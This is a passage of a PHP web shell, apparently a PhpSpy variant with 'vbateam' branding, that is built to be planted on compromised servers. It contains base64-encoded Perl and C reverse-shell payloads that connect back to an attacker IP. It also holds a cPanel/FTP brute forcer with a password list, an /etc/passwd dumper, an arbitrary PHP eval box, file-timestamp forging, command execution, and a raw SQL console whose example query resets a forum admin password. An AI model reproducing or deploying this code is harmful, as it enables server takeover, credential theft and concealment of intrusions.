775 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
776 }
777 if(isset($dbpass)) {
778 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
779 }
780 if(isset($dbport)) {
781 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
782 }
783 if(isset($dbname)) {
784 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
785 }
786 if(isset($charset)) {
787 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
788 }
789
790 if ($doing == 'backupmysql' && $saveasfile) {
791 if (!$table) {
792 m('Please choose the table');
793 } else {
794 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
795 $table = array_flip($table);
796 $fp = @fopen($path,'w');
797 if ($fp) {
798 $result = q('SHOW tables');
799 if (!$result) p('<h2>'.mysql_error().'</h2>');
800 $mysqldata = '';
801 while ($currow = mysql_fetch_array($result)) {
802 if (isset($table[$currow[0]])) {
803 sqldumptable($currow[0], $fp);
804 }
805 }
806 fclose($fp);
807 $fileurl = str_replace(SA_ROOT,'',$path);
808 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
809 mysql_close();
810 } else {
811 m('Backup failed');
812 }
813 }
814 }
815 if ($insert && $insertsql) {
816 $keystr = $valstr = $tmp = '';
817 foreach($insertsql as $key => $val) {
818 if ($val) {
819 $keystr .= $tmp.$key;
820 $valstr .= $tmp."'".addslashes($val)."'";
821 $tmp = ',';
822 }
823 }
824 if ($keystr && $valstr) {
825 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
826 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
827 }
828 }
829 if ($update && $insertsql && $base64) {
830 $valstr = $tmp = '';
831 foreach($insertsql as $key => $val) {
832 $valstr .= $tmp.$key."='".addslashes($val)."'";
833 $tmp = ',';
834 }
835 if ($valstr) {
836 $where = base64_decode($base64);
837 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
838 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
839 }
840 }
841 if ($doing == 'del' && $base64) {
842 $where = base64_decode($base64);
843 $delete_sql = "DELETE FROM $tablename WHERE $where";
844 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
845 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
846 }
847
848 if ($tablename && $doing == 'drop') {
849 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
850 if (q("DROP TABLE $tablename")) {
851 m('Drop table of success');
852 $tablename = '';
853 } else {
854 m(mysql_error());
855 }
856 }
857
858 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
859
860 formhead(array('title'=>'MYSQL Manager'));
861 makehide('action','sqladmin');
862 p('<p>');
863 p('DBHost:');
864 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
865 p(':');
866 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
867 p('DBUser:');
868 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
869 p('DBPass:');
870 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
871 p('DBCharset:');
872 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
873 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
874 p('</p>');
875 formfoot();
876?>
877<script type="text/javascript">
878function editrecord(action, base64, tablename){
879 if (action == 'del') {
880 if (!confirm('Is or isn\'t deletion record?')) return;
881 }
882 $('recordlist').doing.value=action;
883 $('recordlist').base64.value=base64;
884 $('recordlist').tablename.value=tablename;
885 $('recordlist').submit();
886}
887function moddbname(dbname) {
888 if(!dbname) return;
889 $('setdbname').dbname.value=dbname;
890 $('setdbname').submit();
891}
892function settable(tablename,doing,page) {
893 if(!tablename) return;
894 if (doing) {
895 $('settable').doing.value=doing;
896 }
897 if (page) {
898 $('settable').page.value=page;
899 }
900 $('settable').tablename.value=tablename;
901 $('settable').submit();
902}
903</script>
904<?php
905 // SQL
906 formhead(array('name'=>'recordlist'));
907 makehide('doing');
908 makehide('action','sqladmin');
909 makehide('base64');
910 makehide('tablename');
911 p($dbform);
912 formfoot();
913
914 // Data
915 formhead(array('name'=>'setdbname'));
916 makehide('action','sqladmin');
917 p($dbform);
918 if (!$dbname) {
919 makehide('dbname');
920 }
921 formfoot();
922
923
924 formhead(array('name'=>'settable'));
925 makehide('action','sqladmin');
926 p($dbform);
927 makehide('tablename');
928 makehide('page',$page);
929 makehide('doing');
930 formfoot();
931
932 $cachetables = array();
933 $pagenum = 30;
934 $page = intval($page);
935 if($page) {
936 $start_limit = ($page - 1) * $pagenum;
937 } else {
938 $start_limit = 0;
939 $page = 1;
940 }
941 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
942 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
943 // get mysql server
944 $mysqlver = mysql_get_server_info();
945 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
946 $highver = $mysqlver > '4.1' ? 1 : 0;
947
948 // Show database
949 $query = q("SHOW DATABASES");
950 $dbs = array();
951 $dbs[] = '-- Select a database --';
952 while($db = mysql_fetch_array($query)) {
953 $dbs[$db['Database']] = $db['Database'];
954 }
955 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
956 $tabledb = array();
957 if ($dbname) {
958 p('<p>');
959 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
960 if ($tablename) {
961 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
962 }
963 p('</p>');
964 mysql_select_db($dbname);
965
966 $getnumsql = '';
967 $runquery = 0;
968 if ($sql_query) {
969 $runquery = 1;
970 }
971 $allowedit = 0;
972 if ($tablename && !$sql_query) {
973 $sql_query = "SELECT * FROM $tablename";
974 $getnumsql = $sql_query;
975 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
976 $allowedit = 1;
977 }
978 p('<form action="'.$self.'" method="POST">');
979 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
980 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
981 makehide('tablename', $tablename);
982 makehide('action','sqladmin');
983 p($dbform);
984 p('</form>');
985 if ($tablename || ($runquery && $sql_query)) {
986 if ($doing == 'structure') {
987 $result = q("SHOW COLUMNS FROM $tablename");
988 $rowdb = array();
989 while($row = mysql_fetch_array($result)) {
990 $rowdb[] = $row;
991 }
992 p('<table border="0" cellpadding="3" cellspacing="0">');
993 p('<tr class="head">');
994 p('<td>Field</td>');
995 p('<td>Type</td>');
996 p('<td>Null</td>');
997 p('<td>Key</td>');
998 p('<td>Default</td>');
999 p('<td>Extra</td>');
1000 p('</tr>');
1001 foreach ($rowdb as $row) {
1002 $thisbg = bg();
1003 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1004 p('<td>'.$row['Field'].'</td>');
1005 p('<td>'.$row['Type'].'</td>');
1006 p('<td>'.$row['Null'].' </td>');
1007 p('<td>'.$row['Key'].' </td>');
1008 p('<td>'.$row['Default'].' </td>');
1009 p('<td>'.$row['Extra'].' </td>');
1010 p('</tr>');
1011 }
1012 tbfoot();
1013 } elseif ($doing == 'insert' || $doing == 'edit') {
1014 $result = q('SHOW COLUMNS FROM '.$tablename);
1015 while ($row = mysql_fetch_array($result)) {
1016 $rowdb[] = $row;
1017 }
1018 $rs = array();
1019 if ($doing == 'insert') {
1020 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1021 } else {
1022 p('<h2>Update record in '.$tablename.' table »</h2>');
1023 $where = base64_decode($base64);
1024 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1025 $rs = mysql_fetch_array($result);
1026 }
1027 p('<form method="post" action="'.$self.'">');
1028 p($dbform);
1029 makehide('action','sqladmin');
1030 makehide('tablename',$tablename);
1031 p('<table border="0" cellpadding="3" cellspacing="0">');
1032 foreach ($rowdb as $row) {
1033 if ($rs[$row['Field']]) {
1034 $value = htmlspecialchars($rs[$row['Field']]);
1035 } else {
1036 $value = '';
1037 }
1038 $thisbg = bg();
1039 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1040 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1041 }
1042 if ($doing == 'insert') {
1043 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1044 } else {
1045 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1046 makehide('base64', $base64);
1047 }
1048 p('</table></form>');
1049 } else {
1050 $querys = @explode(';',$sql_query);
1051 foreach($querys as $num=>$query) {
1052 if ($query) {
1053 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1054 switch(qy($query))
1055 {
1056 case 0:
1057 p('<h2>Error : '.mysql_error().'</h2>');
1058 break;
1059 case 1:
1060 if (strtolower(substr($query,0,13)) == 'select * from') {
1061 $allowedit = 1;
1062 }
1063 if ($getnumsql) {
1064 $tatol = mysql_num_rows(q($getnumsql));
1065 $multipage = multi($tatol, $pagenum, $page, $tablename);
1066 }
1067 if (!$tablename) {
1068 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1069 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1070 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1071 $tablename = $matches[1][0];
1072 }
1073 $result = q($query);
1074 p($multipage);
1075 p('<table border="0" cellpadding="3" cellspacing="0">');
1076 p('<tr class="head">');
1077 if ($allowedit) p('<td>Action</td>');
1078 $fieldnum = @mysql_num_fields($result);
1079 for($i=0;$i<$fieldnum;$i++){
1080 $name = @mysql_field_name($result, $i);
1081 $type = @mysql_field_type($result, $i);
1082 $len = @mysql_field_len($result, $i);
1083 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1084 }
1085 p('</tr>');
1086 while($mn = @mysql_fetch_assoc($result)){
1087 $thisbg = bg();
1088 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1089 $where = $tmp = $b1 = '';
1090 foreach($mn as $key=>$inside){
1091 if ($inside) {
1092 $where .= $tmp.$key."='".addslashes($inside)."'";
1093 $tmp = ' AND ';
1094 }
1095 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1096 }
1097 $where = base64_encode($where);
1098 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1099 p($b1);
1100 p('</tr>');
1101 unset($b1);
1102 }
1103 tbfoot();
1104 p($multipage);
1105 break;
1106 case 2:
1107 $ar = mysql_affected_rows();
1108 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1109 break;
1110 }
1111 }
1112 }
1113 }
1114 } else {
1115 $query = q("SHOW TABLE STATUS");
1116 $table_num = $table_rows = $data_size = 0;
1117 $tabledb = array();
1118 while($table = mysql_fetch_array($query)) {
1119 $data_size = $data_size + $table['Data_length'];
1120 $table_rows = $table_rows + $table['Rows'];
1121 $table['Data_length'] = sizecount($table['Data_length']);
1122 $table_num++;
1123 $tabledb[] = $table;
1124 }
1125 $data_size = sizecount($data_size);
1126 unset($table);
1127 p('<table border="0" cellpadding="0" cellspacing="0">');
1128 p('<form action="'.$self.'" method="POST">');
1129 makehide('action','sqladmin');
1130 p($dbform);
1131 p('<tr class="head">');
1132 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1133 p('<td>Name</td>');
1134 p('<td>Rows</td>');
1135 p('<td>Data_length</td>');
1136 p('<td>Create_time</td>');
1137 p('<td>Update_time</td>');
1138 if ($highver) {
1139 p('<td>Engine</td>');
1140 p('<td>Collation</td>');
1141 }
1142 p('</tr>');
1143 foreach ($tabledb as $key => $table) {
1144 $thisbg = bg();
1145 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1146 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1147 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1148 p('<td>'.$table['Rows'].'</td>');
1149 p('<td>'.$table['Data_length'].'</td>');
1150 p('<td>'.$table['Create_time'].'</td>');
1151 p('<td>'.$table['Update_time'].'</td>');
1152 if ($highver) {
1153 p('<td>'.$table['Engine'].'</td>');
1154 p('<td>'.$table['Collation'].'</td>');
1155 }
1156 p('</tr>');
1157 }
1158 p('<tr class=fout>');
1159 p('<td> </td>');
1160 p('<td>Total tables: '.$table_num.'</td>');
1161 p('<td>'.$table_rows.'</td>');
1162 p('<td>'.$data_size.'</td>');
1163 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1164 p('</tr>');
1165
1166 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1167 makehide('doing','backupmysql');
1168 formfoot();
1169 p("</table>");
1170 fr($query);
1171 }
1172 }
1173 }
1174 tbfoot();
1175 @mysql_close();
1176}//end sql backup
1177
1178
1179elseif ($action == 'backconnect') {
1180 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1181 !$yourport && $yourport = '12345';
1182 $usedb = array('perl'=>'perl','c'=>'c');
1183
1184 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1185 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1186 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1187 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1188 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1189 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1190 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1191 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1192 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1193 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1194 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1195 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1196 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1197 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1198 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1199
1200 if ($start && $yourip && $yourport && $use){
1201 if ($use == 'perl') {
1202 cf('/tmp/angel_bc',$back_connect);
1203 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1204 } else {
1205 cf('/tmp/angel_bc.c',$back_connect_c);
1206 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1207 @unlink('/tmp/angel_bc.c');
1208 $res = execute("/tmp/angel_bc $yourip $yourport &");
1209 }
1210 m("Now script try connect to $yourip port $yourport ...");
1211 }
1212
1213 formhead(array('title'=>'Back Connect'));
1214 makehide('action','backconnect');
1215 p('<p>');
1216 p('Your IP:');
1217 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1218 p('Your Port:');
1219 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1220 p('Use:');
1221 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1222 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1223 p('</p>');
1224 formfoot();
1225}//end backconnect window via NC
1226
1227// Brute
1228elseif ($action == 'brute') {
1229formhead(array('title'=>'Brute Forcer'));
1230 makehide('action','brute');
1231 makehide('dir',$brute);
1232@ini_set('memory_limit', 1000000000000);
1233$connect_timeout=5;
1234@set_time_limit(0);
1235$submit = $_REQUEST['submit'];
1236$users = $_REQUEST['users'];
1237$pass = $_REQUEST['passwords'];
1238$target = $_REQUEST['target'];
1239$option = $_REQUEST['option'];
1240
1241
1242$passlist = "0123456
124301234567
1244012345678
12450123456789
124601234567890
1247123456
12481234567
124912345678
1250123456789
12511234567890
1252111111
1253000000
1254222222
1255333333
1256444444
1257555555
1258666666
1259777777
1260888888
1261999999
1262123123
1263456456
1264789789
1265123321
1266456654
1267654321
12687654321
126987654321
1270987654321
12710987654321
1272admin
1273administrator
1274admincp
1275cpanel
1276adminx
1277admins
1278password
1279passwords
1280passw0rd
1281p@ssw0rd
1282p@ssword
1283khongco
128425251325
1285passw0rds
1286anhyeuem
1287emyeuanh
1288admin123
1289";
1290if($target == ''){
1291$target = 'localhost';
1292}
1293print " <div align='center'>
1294<form method='post' style='border: 1px solid #000000'><br><br>
1295<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
1296<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
1297<div align='center'><br>
1298<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
1299<tr>
1300<td align='center'>
1301<b>Username</b></td>
1302<td>
1303<p align='center'>
1304<b>Password</b></td>
1305</tr>
1306</table>
1307<p align='center'>
1308<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
1309$i = 0;
1310while ($i < 60000) {
1311
1312 $line = posix_getpwuid($i);
1313 if (!empty($line)) {
1314
1315 while (list ($key, $vba_etcpwd) = each($line)){
1316 echo "".$vba_etcpwd."\n";
1317 break;
1318 }
1319
1320 }
1321
1322 $i++;
1323}
1324echo "
1325</textarea>
1326<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
1327<br>
1328<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1329<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
1330</td></tr></table></td></tr></form><p align= 'left'>";
1331?>
1332<?php
1333function ftp_check($host,$user,$pass,$timeout){
1334$ch = curl_init();
1335curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1336curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1337curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1338curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1339curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1340curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1341curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1342$data = curl_exec($ch);
1343if ( curl_errno($ch) == 28 ) {
1344
1345print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1346exit;}
1347
1348elseif ( curl_errno($ch) == 0 ){
1349
1350p("<b>[ [email]attack@vbateam.net[/email] ]# </b>
1351<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
1352}
1353curl_close($ch);}
1354
1355function cpanel_check($host,$user,$pass,$timeout){
1356$ch = curl_init();
1357curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
1358curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1359curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1360curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1361curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1362curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1363$data = curl_exec($ch);
1364if ( curl_errno($ch) == 28 ) {
1365print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1366exit;}
1367elseif ( curl_errno($ch) == 0 ){
1368
1369p("<b>[ [email]attack@vbateam.net[/email] ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
1370
1371if(isset($submit) && !empty($submit)){
1372
1373$userlist = explode ("\n" , $users );
1374$passlist = explode ("\n" , $pass );
1375p('<b>[ [email]attack@vbateam.net[/email] ]# Attacking ...</font></b><br>');
1376foreach ($userlist as $user) {
1377$_user = trim($user);
1378foreach ($passlist as $password ) {
1379$_pass = trim($password);
1380if($option == "ftp"){
1381ftp_check($target,$_user,$_pass,$connect_timeout);
1382}
1383if ($option == "cpanel")
1384{
1385cpanel_check($target,$_user,$_pass,$connect_timeout);
1386}
1387}
1388}
1389}
1390
1391 formfoot();
1392}
1393
1394
1395
1396
1397
1398
1399elseif ($action == 'etcpwd') {
1400formhead(array('title'=>'Get /etc/passwd'));
1401 makehide('action','etcpwd');
1402 makehide('dir',$nowpath);
1403$i = 0;
1404 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1405while ($i < 60000) {
1406
1407 $line = posix_getpwuid($i);
1408 if (!empty($line)) {
1409
1410 while (list ($key, $vba_etcpwd) = each($line)){
1411 echo "".$vba_etcpwd."\n";
1412 break;
1413 }
1414
1415 }
1416
1417 $i++;
1418}
1419 echo "</textarea></p>";
1420 formfoot();
1421}
1422
1423elseif ($action == 'eval') {
1424 $phpcode = trim($phpcode);
1425 if($phpcode){
1426 if (!preg_match('#<\?#si', $phpcode)) {
1427 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1428 }
1429 eval("?".">$phpcode<?");
1430 }
1431 formhead(array('title'=>'Eval PHP Code'));
1432 makehide('action','eval');
1433 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1434 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1435 formfooter();
1436}//end eval
1437
1438elseif ($action == 'editfile') {
1439 if(file_exists($opfile)) {
1440 $fp=@fopen($opfile,'r');
1441 $contents=@fread($fp, filesize($opfile));
1442 @fclose($fp);
1443 $contents=htmlspecialchars($contents);
1444 }
1445 formhead(array('title'=>'Create / Edit File'));
1446 makehide('action','file');
1447 makehide('dir',$nowpath);
1448 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1449 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1450 formfooter();
1451}//end editfile
1452
1453elseif ($action == 'newtime') {
1454 $opfilemtime = @filemtime($opfile);
1455 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1456 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1457 formhead(array('title'=>'Clone file was last modified time'));
1458 makehide('action','file');
1459 makehide('dir',$nowpath);
1460 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1461 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1462 formfooter();
1463 formhead(array('title'=>'Set last modified'));
1464 makehide('action','file');
1465 makehide('dir',$nowpath);
1466 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1467 p('<p>Instead »');
1468 p('year:');
1469 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1470 p('month:');
1471 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1472 p('day:');
1473 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1474 p('hour:');
1475 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1476 p('minute:');
1477 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1478 p('second:');
1479 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1480 p('</p>');
1481 formfooter();
1482}//end newtime
1483
1484elseif ($action == 'shell') {
1485 if (IS_WIN && IS_COM) {
1486 if($program && $parameter) {
1487 $shell= new COM('Shell.Application');
1488 $a = $shell->ShellExecute($program,$parameter);
1489 m('Program run has '.(!$a ? 'success' : 'fail'));
1490 }
1491 !$program && $program = 'c:\windows\system32\cmd.exe';
1492 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1493 formhead(array('title'=>'Execute Program'));
1494 makehide('action','shell');
1495 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1496 p('<p>');
1497 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1498 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1499 p('</p>');
1500 formfoot();
1501 }
1502 formhead(array('title'=>'Execute Command'));
1503 makehide('action','shell');
1504 if (IS_WIN && IS_COM) {
1505 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1506 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1507 }
1508 p('<p>');
1509 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1510 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1511 p('</p>');
1512 formfoot();
1513
1514 if ($command) {
1515 p('<hr width="100%" noshade /><pre>');
1516 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
